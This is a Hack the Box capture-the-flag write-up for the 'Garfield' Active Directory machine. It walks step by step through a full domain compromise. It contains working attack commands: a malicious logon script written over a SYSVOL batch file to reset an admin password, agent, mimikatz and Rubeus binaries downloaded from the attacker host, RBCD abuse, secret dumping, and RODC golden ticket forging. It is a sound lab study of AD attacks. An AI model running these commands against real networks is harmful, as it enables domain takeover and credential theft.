Garfield is a hard, heavily AD oriented Windows box released during the 10th season of Hack the Box.
Attacker: 10.10.14.98 Target: 10.129.28.84
provided credentials: j.arbuckle Th1sD4mnC4t!@1978
Recon
nmap -p- -Pn 10.129.28.84
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
....
Looks like a domain controller with the standard following services: a kerberos server (88), a LDAP(s) (389, 636, 3268, 3269), a samba server (445), etc. The only service that stands out is adws (9389): AD exposed as a Soap API. We could use SoaPy to interact with it later but, to my knowledge, this does not offer any more leverage than to query LDAP directly.
LDAP
nmap -p 389 -Pn -A 10.129.28.84
...
PORT STATE SERVICE VERSION
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Let’s start with a complete domain dump using nxc
nxc ldap 10.129.28.84 --dns-server 10.129.28.84 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --bloodhound --collection All
LDAP 10.129.28.84 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.28.84 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.28.84 389 DC01 Resolved collection methods: localadmin, psremote, rdp, objectprops, container, trusts, dcom, group, session, acl
LDAP 10.129.28.84 389 DC01 Done in 0M 3S
LDAP 10.129.28.84 389 DC01 Compressing output into /home/zar3bski/.nxc/logs/DC01_10.129.28.84_2026-04-10_143132_bloodhound.zip
We then open this zip using Bloodhound to have a first high level idea of what we are dealing with.

Interestingly, we have a second machine

nxc ldap 10.129.28.84 --dns-server 10.129.28.84 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users
LDAP 10.129.28.84 389 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.28.84 389 DC01 krbtgt 2025-08-13 13:05:26 0 Key Distribution Center Service Account
LDAP 10.129.28.84 389 DC01 krbtgt_8245 2025-08-17 13:33:39 0 Key Distribution Center service account for read-only domain controller
LDAP 10.129.28.84 389 DC01 j.arbuckle 2025-09-09 17:50:55 0
LDAP 10.129.28.84 389 DC01 l.wilson 2026-01-27 22:40:33 0
LDAP 10.129.28.84 389 DC01 l.wilson_adm 2026-01-13 15:56:35 2
l.wilson_adm is the account we are aiming for. Though krbtgt was expected in this situation, krbtgt_8245 is a surprising account name. Based on the name of the second machine, this account is probably the one running a replicated KRB service on RODC01$: a read only filtered copy of the domain controller (more details here). Let’s put all those names in a ./exfiltrated/users.txt file for later enumerations/password spraying. The domain SID is something we will need later.
nxc ldap 10.129.28.84 --dns-server 10.129.28.84 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --get-sid
...
LDAP 10.129.28.84 389 DC01 Domain SID S-1-5-21-2502726253-3859040611-225969357
We then need to check for the existence of any interesting Unconstrained Delegation
nxc ldap 10.129.28.84 --dns-server 10.129.28.84 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --trusted-for-delegation
...
LDAP 10.129.28.84 389 DC01 DC01$
Nothing particularly useful here. Since pre-2000 accounts often serve as entrypoints in CTF (and in real life), let’s check if any such account exist.
nxc ldap 10.129.28.84 --dns-server 10.129.28.84 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M pre2k

Finally, let’s save all the ACLs of j.arbuckle and of his suspiciously elevated IT Support group for later analysis.
dacledit.py -target j.arbuckle garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' > ./exfiltrated/j_arbuckle_acls
dacledit.py -target 'IT Support' garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' > ./exfiltrated/it_support_acls
DNS
Since we have two machines, it might be a good idea to identify the network topology
dig any garfield.htb @10.129.28.84
...
;; ADDITIONAL SECTION:
dc01.garfield.htb. 3600 IN A 10.129.28.84
dc01.garfield.htb. 3600 IN A 192.168.100.1
dc01.garfield.htb. 3600 IN AAAA dead:beef::4e73:76ba:ff41:3dc5
...
dig any rodc01.garfield.htb @10.129.28.84
...
;; ANSWER SECTION:
rodc01.garfield.htb. 1200 IN A 192.168.100.2
...
So, behind the WAN (10.129.28.0/24), there seems to be a LAN (192.168.100.0/24) where RODC01 lives while DC01 acts as a Bastion for this network area. In other terms, we first need an access to DC01 to pivot to RODC01. At this point, it would be good to edit our /etc/hosts with
10.129.28.84 garfield.htb dc01.garfield.htb
192.168.100.2 rodc01.garfield.htb
SMB
Because of the smb2-security-mode flag
nmap -p 445 -Pn -A 10.129.28.84
...
445/tcp open microsoft-ds?
Host script results:
|_clock-skew: 8h00m03s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-04-10T21:30:13
|_ start_date: N/A
even though SMB is vulnerable to coercion (i.e. forcing to send authentication to a relay of our choice)
nxc smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M coerce_plus
...
COERCE_PLUS 10.129.28.84 445 DC01 VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.28.84 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 10.129.28.84 445 DC01 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.28.84 445 DC01 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.28.84 445 DC01 VULNERABLE, MSEven
the likelihood of a successful NTLM-relay attack to LDAP remains limited.
nxc smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M spider_plus
j.arbuckle can read files from NETLOGON and SYSVOL but none of the files listed by spider offer any precious intel.
Finally, there seem to be no local account nor local group not reflected in the AD, as we can see it with metasploit’s smb_lookupsid module.
msf auxiliary(scanner/smb/smb_lookupsid) > run
[*] 10.129.27.176:445 - PIPE(lsarpc) LOCAL(GARFIELD - S-1-5-21-2502726253-3859040611-225969357) DOMAIN(GARFIELD - S-1-5-21-2502726253-3859040611-225969357)
[*] Trying RID 4000 / 4000
SMB Lookup SIDs Output
======================
Type Name RID
---- ---- ---
User Administrator 500
User Guest 501
User krbtgt 502
Group Domain Admins 512
Group Domain Users 513
Group Domain Guests 514
Group Domain Computers 515
Group Domain Controllers 516
Alias Cert Publishers 517
Group Schema Admins 518
Group Enterprise Admins 519
Group Group Policy Creator Owners 520
Group Read-only Domain Controllers 521
Group Cloneable Domain Controllers 522
Group Protected Users 525
Group Key Admins 526
Group Enterprise Key Admins 527
Alias RAS and IAS Servers 553
Alias Allowed RODC Password Replication Group 571
Alias Denied RODC Password Replication Group 572
User DC01$ 1000
Alias DnsAdmins 1101
Group DnsUpdateProxy 1102
User RODC01$ 1602
User krbtgt_8245 1603
Group RODC Administrators 2101
User j.arbuckle 3101
User l.wilson 3105
Group IT Support 3106
User l.wilson_adm 3107
Group Tier 1 3108
KRB
To use Garfield’s kerberos server, we first need to synchronize with it to avoid any KRB_AP_ERR_SKEW(Clock skew too great). On my Black Arch machine, it involves to deactivate systemd-timesyncd
sudo systemctl stop systemd-timesyncd
sudo ntpdate garfield.htb
It is worth checking if any user uses j.arbuckle password
kerbrute passwordspray -d garfield.htb --dc garfield.htb ./exfiltrated/users.txt 'Th1sD4mnC4t!@1978'
and if any user do not REQUIRE_PREAUTH
GetNPUsers.py -request -format hashcat -outputfile ./exfiltrated/ASREProastables.txt -dc-ip garfield.htb 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
None of the user’s TGT are exposed without authentication. KRB won’t be the entrypoint.
RDP & WinRm
nmap -p 3389 -Pn -A 10.129.28.84
...
PORT STATE SERVICE
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-05T16:54:34+00:00
| rdp-enum-encryption:
| Security layer
| CredSSP (NLA): SUCCESS
| CredSSP with Early User Auth: SUCCESS
|_ RDSTLS: SUCCESS
It looks like j.arbuckle could access DC01 via RDP but it ended up being a false positive
nxc rdp garfield.htb -u exfiltrated/users.txt -p 'Th1sD4mnC4t!@1978' --no-bruteforce
...
RDP 10.129.28.84 3389 DC01 [-] garfield.htb\krbtgt_8245:Th1sD4mnC4t!@1978 (STATUS_LOGON_FAILURE)
RDP 10.129.28.84 3389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
RDP 10.129.28.84 3389 DC01 [-] garfield.htb\l.wilson:Th1sD4mnC4t!@1978 (STATUS_LOGON_FAILURE)
...
Likewise, j.arbuckle can’t use WinRm to access DC01:
recon sum-up
Domain: garfield.htb SID: S-1-5-21-2502726253-3859040611-225969357
We have a domain controller (DC01$) exposed on both the WAN (10.129.28.0/24) and LAN (192.168.100.0/24) environment while a read-only copy of it (RODC01$) lives on the LAN. The later is our most probable road to privilege escalation during the second step, for we may be able to dump high privileges hash or creds from it. However, we still need to access LAN and our current user (j.arbuckle) can’t access DC01 trough WinRM or RDP.
| Sam name | require pre-auth | delegations |
|---|---|---|
| Administrator | yes | All |
| Guest | yes | None |
| krbtgt | yes | None |
| krbtgt_8245 | yes | None |
| j.arbuckle | yes | None |
| l.wilson | yes | None |
| l.wilson_adm | yes | None |
The other ‘human’ account being l.wilson and since l.wilson can change l.wilson_adm password

we are looking for a way to compromise this account.
Foothold
Being new to AD enumeration, I overestimated the completeness of the information displayed by Bloodhound which, apparently, does not display the user’s ACLs. After a day of unsuccessful attempts with relays I did not really believed into in the first place, someone suggested that I check again j.arbuckle and his groups ACLs using exhaustive tools such as dacledit (bloodyad or nxc would also work)
Script-Path exploit
Per se, j.arbuckle can’t do much but the IT Support he belongs to has an interesting privilege over Script-Path
dacledit.py -target 'IT Support' garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978'
....
[*] ACE[7] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE, INHERITED_ACE
[*] Access mask : ReadProperty, WriteProperty (0x30)
[*] Flags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : Script-Path (bf9679a8-0de6-11d0-a285-00aa003049e2)
[*] Inherited type (GUID) : User (bf967aba-0de6-11d0-a285-00aa003049e2)
[*] Trustee (SID) : IT Support (S-1-5-21-2502726253-3859040611-225969357-3106)
....
Since I’m no expert in AD environment, I do not know how this AD attribute translates into local parameters of specific machines, nor if this translation is conditional or applies to all machines in the domain. However, it is clear that, since this script is executed every time a user logs into a machine (source), if we could edit this script before l.wilson logs in, we would be able to make her execute any command (like changing her password).
As for recon, I also tried Adalanche which showed more clearly the entrypoint.

I would not recommend this tool over Bloodhound because, even if it successfully identified the relevant ACL, it also completely missed the existence of RODC01$. I appreciated the UI responsiveness and how easy it was to install and use it but I would put this tool on the promissing and to follow part of the shelf.
Back to SMB
During our smb enumeration, it appeared that NETLOGON contained a cmd script
"NETLOGON": {
"printerDetect.bat": {
"atime_epoch": "2025-09-13 00:20:28",
"ctime_epoch": "2025-09-13 00:20:17",
"mtime_epoch": "2025-09-13 00:25:38",
"size": "217 B"
}
},
@echo off
echo Detecting installed printers...
echo ==============================
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table
echo.
echo Printer detection completed.
pause
The attack
Let’s go with changing l.wilson_adm password directly with this payloads/evil.bat
@echo off
powershell -c "Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword (ConvertTo-SecureString -AsPlainText 'totototo' -Force)"
:: just to make sure something is executed by watching your python -m http.server
powershell -c "Invoke-WebRequest -Uri 'http://10.10.14.98:8000/rce'"
Though nxc smb listed the SYSVOL volume with the READ flag, playing with smbclient, it seems like j.arbuckle can write into SYSVOL/garfield.htb/scripts after all (not sure why). He even can overwrite printerDetect.bat
smbclient //dc01.garfield.htb/SYSVOL -U garfield.htb/j.arbuckle%'Th1sD4mnC4t!@1978' -c 'put ./payloads/evil.bat garfield.htb/scripts/printerDetect.bat'
Logging / script execution is triggered by the update of l.wilson’s scriptPath attribute in AD
bloodyad --host 'garfield.htb' -d 'GARFIELD.HTB' -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v 'printerDetect.bat'
We can now log as l.wilson_adm
evil-winrm -u l.wilson_adm -p totototo -i dc01.garfield.htb
user.txt lives on her Desktop.
Pivot to RODC01$
Now that we have a foot into the LAN, time to expose and explore RODC01. For this, we will use ligolo, setting of which I won’t detail here (you will find plenty of resources online or would could have a look at my tutorial). Simply put, there is a proxy living on your attack machine and an agent you need to sneak and execute on the machine that will act as pivot (in our case DC01). On our attack machine, we need to
# in a folder containing ligolo's agent.exe
python -m http.server
and, from a different terminal, start ligolo proxy to reach its CLI
sudo ligolo-ng-proxy -selfcert
[sudo] password for zar3bski:
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] daemon configuration file not found. Creating a new one...
? Enable Ligolo-ng WebUI? No
WARN[0002] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0002] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
INFO[0002] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: dev
ligolo-ng »
From DC01, simply download the agent.exe and pair it with the proxy
Invoke-WebRequest -Uri http://10.10.14.98:8000/agent.exe -Outfile agent.exe
start-process -FilePath "agent.exe" -ArgumentList ("-connect", "10.10.14.98:11601", "-ignore-cert")
Once the agent reaches the proxy, select it with session from ligolo CLI and add a route with
ligolo-ng » session
? Specify a session : 1 - GARFIELD\l.wilson_adm@DC01 - 10.129.244.207:54751 - 00155d0bdd00
[Agent : GARFIELD\l.wilson_adm@DC01] »
[Agent : GARFIELD\l.wilson_adm@DC01] » ifcreate --name ligolo0
[Agent : GARFIELD\l.wilson_adm@DC01] » tunnel_start --tun ligolo0
[Agent : GARFIELD\l.wilson_adm@DC01] » add_route --name ligolo0 --route 192.168.100.1/24
You should now be able to ping 192.168.100.2
RODC01 enumeration
nmap -Pn rodc01.garfield.htb
...
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
It definitely looks like another domain controller
Privilege escalation
I won’t detail the numerous failed attempts and summarize as well as I can the attack vector explained in:
- https://www.thehacker.recipes/ad/movement/builtins/rodc
- https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets
- https://www.thehacker.recipes/ad/movement/credentials/dumping/kerberos-key-list
An RODC is a read-only copy of an DC that holds a copy of domain accounts if and only if those accounts:
- possess the
msDS-RevealOnDemandGroupattribute - do not possess the
msDS-NeverRevealGroup(which is the case for Administrator@Garfield.htb)
The consequence of this is that, if a user account is replicated in RODC01$, the krbtgt account of RODC01 (krbtgt_8245) would be able to forge a Golden Ticket for this account. We first need krbtgt_8245 credentials or AES key.
The hunt for krbtgt_8245 credentials
Based on Bloodhound, l.wilson_adm can change RODC01$ password which can change krbtgt_8245. I went down this rabbit hole and could not dump anything from RODC01.
RBCD exploitation
The way to enter RODC01 is to exploit the fact that l.wilson_adm can create a machine
bloodyad -d garfield.htb -u 'l.wilson_adm' -p 'totototo' -H dc01.garfield.htb add computer 'jzrnlmao' 'totototo'
and, because she is able to edit msDS-AllowedToActOnBehalfOfOtherIdentity, she is also able to set a Resource Based constrained Delegation on RODC01$ to this newly created machine account (jzrnlmao$)
bloodyad -d garfield.htb -u 'l.wilson_adm' -p 'totototo' -H dc01.garfield.htb add rbcd 'RODC01$' 'jzrnlmao$'
...
[+] jzrnlmao$ can now impersonate users on RODC01$ via S4U2Proxy
...
Sounds great: let’s become RODC01 local Administrator
getST.py -spn 'cifs/rodc01.garfield.htb' -impersonate 'Administrator' 'garfield.htb/jzrnlmao$:totototo'
...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_rodc01.garfield.htb@GARFIELD.HTB.ccache
and use this ticket to dump all secrets from rodc01.garfield.htb
This part was slightly buggy, do not hesitate to restart the machine if needed
export KRB5CCNAME=Administrator@cifs_rodc01.garfield.htb@GARFIELD.HTB.ccache
secretsdump.py rodc01.garfield.htb -k
...
[*] Target system bootKey: 0x0821167a7588e6d2b614897381a821e8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:75be66596ddc5654acafd187fe51b960:::
...
Dig deeper into RODC01
Unfortunately, the previous dump did not leak any creds or keys for krbtgt_8245: we have pretty much everything but what we were looking for. Let’s thus infiltrate mimikatz (take the one from gentilkiwi) into RODC01. Let’s first get a shell into RODC01
psexec.py -k -no-pass garfield.htb/Administrator@rodc01.garfield.htb
cd ../../Users/Administrator
download mimikatz
powershell -command "Invoke-WebRequest -Uri http://10.10.14.98:8000/mimikatz.exe -Outfile mimikatz.exe"
::execute it::
mimikatz.exe
and, from mimikatz shell
privilege::debug
token::elevate
lsadump::lsa /inject /name:krbtgt_8245
....
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBkrbtgt_8245
Default Iterations : 4096
Credentials
aes256_hmac (4096) : d6c93[redacted]
aes128_hmac (4096) : 124c0[redacted]
des_cbc_md5 (4096) : d540f[redacted]
We now possess krbtgt_8245 AES keys to forge a Golden ticket.
Replicate Administrator on RODC01
We already pointed out that, for an account to be replicated on RODC01, the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup should be properly set. L.wilson_adm does not have the right to set these attributes on RODC01 but this limitation does merely depend on the fact that she is not a RODC01 administrator, not a hardwired limitation over the AD.
For this reason, if she were to become a RODC01 administrator
bloodyad --host garfield.htb -d "GARFIELD.HTB" -u "l.wilson_adm" -p "totototo" add groupMember 'RODC Administrators' l.wilson_adm
not only would she be able to check the current msDS-RevealOnDemandGroup
bloodyad --host garfield.htb -d "GARFIELD.HTB" -u "l.wilson_adm" -p "totototo" get object 'RODC01$' --attr msDS-RevealOnDemandGroup
...
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
she would also be able to add the domain Administrator to msDS-RevealOnDemandGroup
bloodyad --host dc01.garfield.htb -d "GARFIELD.HTB" -u "l.wilson_adm" -p "totototo" set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
and to remove this same Administrator from msDS-NeverRevealGroup
bloodyad --host dc01.garfield.htb -d "GARFIELD.HTB" -u "l.wilson_adm" -p "totototo" set object 'RODC01$' msDS-NeverRevealGroup
We can check that CN=Administrator,CN=Users,DC=garfield,DC=htb now belongs to msDS-RevealedUsers
bloodyad --host garfield.htb -d "GARFIELD.HTB" -u "l.wilson_adm" -p "totototo" get object 'RODC01$' | grep Reveal
Ticket forging
ticketer
Now, with the actual ticket forging, I was not very lucky with ticketer
ticketer.py -user krbtgt_8245 -aesKey d6c9[redacted] -dc-ip garfield.htb -domain-sid 'S-1-5-21-2502726253-3859040611-225969357' -user-id 500 -domain GARFIELD.HTB Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -just-dc-user Administrator -k dc01.garfield.htb
....
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Kerberos SessionError: KRB_AP_ERR_BAD_INTEGRITY(Integrity check on decrypted field failed)
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
KRB_AP_ERR_BAD_INTEGRITY sounds like cryptographic issue rather than a right issue. Other tend to report similar problem with this tool. For this reason, I went using Rubeus
Rubeus
While the main advantage of Rubeus is its reliability, its main problem is that its maintainer do not provide precompiled binaries. You may find old precompiled binaries across the internet but I preferred to build my own in a CI, for compiling a dotnet 4.8 project on a Linux environment proved to be a giant pin in the ass. You can use the same CI I used in https://github.com/zar3bski/Rubeus to get your fresh Rubeus binary.
The next step is to sneak it in one of our Windows machines (like DC01 where l.wilson_adm still has a shell)
Invoke-WebRequest -Uri http://10.10.14.98:8000/Rubeus.exe -Outfile Rubeus.exe
and build the ticket
./Rubeus.exe golden /dc:rodc01.garfield.htb /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:krbtgt_8245.ticket.kirbi /aes256:d6c93[redacted] /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357;
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Build TGT
...
[*] base64(ticket.kirbi):
doIFhjCCBYKgAwIBBaEDAgEWooIEdTCCBHFhggRtMIIEaaADAgEF.......
Quick note on ticket format. Windows uses .kirbi file while Linux uses .ccache file. The convenient way I use in this case is not to exfiltrate the kirbi file but, as instead, to copy the value of base64(ticket.kirbi) in a file on my machine (say exfiltrated/kirbi.base64) and, then
tail -1 exfiltrated/kirbi.base64 | base64 -d > administrator.garfield.kirbi
ticketConverter.py administrator.garfield.kirbi administrator.garfield.ccache
We can now inspect the ticket
describeTicket.py administrator.garfield.ccache
...
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 6f405f84b80bd2c8617bd1c692f35235481af60bfad92b602da1ab887de81d18
[*] User Name : Administrator
[*] User Realm : GARFIELD.HTB
[*] Service Name : krbtgt/garfield.htb
[*] Service Realm : GARFIELD.HTB
....
Now, use it to dump the Domain Administrator hashes
export KRB5CCNAME=administrator.garfield.ccache
secretsdump.py -just-dc-user Administrator -k dc01.garfield.htb
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3[redacted]:ee23[redacted]:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:53b9[redacted]
Administrator:aes128-cts-hmac-sha1-96:f0aa[redacted]
Administrator:des-cbc-md5:ce8067[redacted]
Log into DC01 using his NT hash
evil-winrm -u Administrator -H ee23[redacted] -i garfield.htb
You know what to do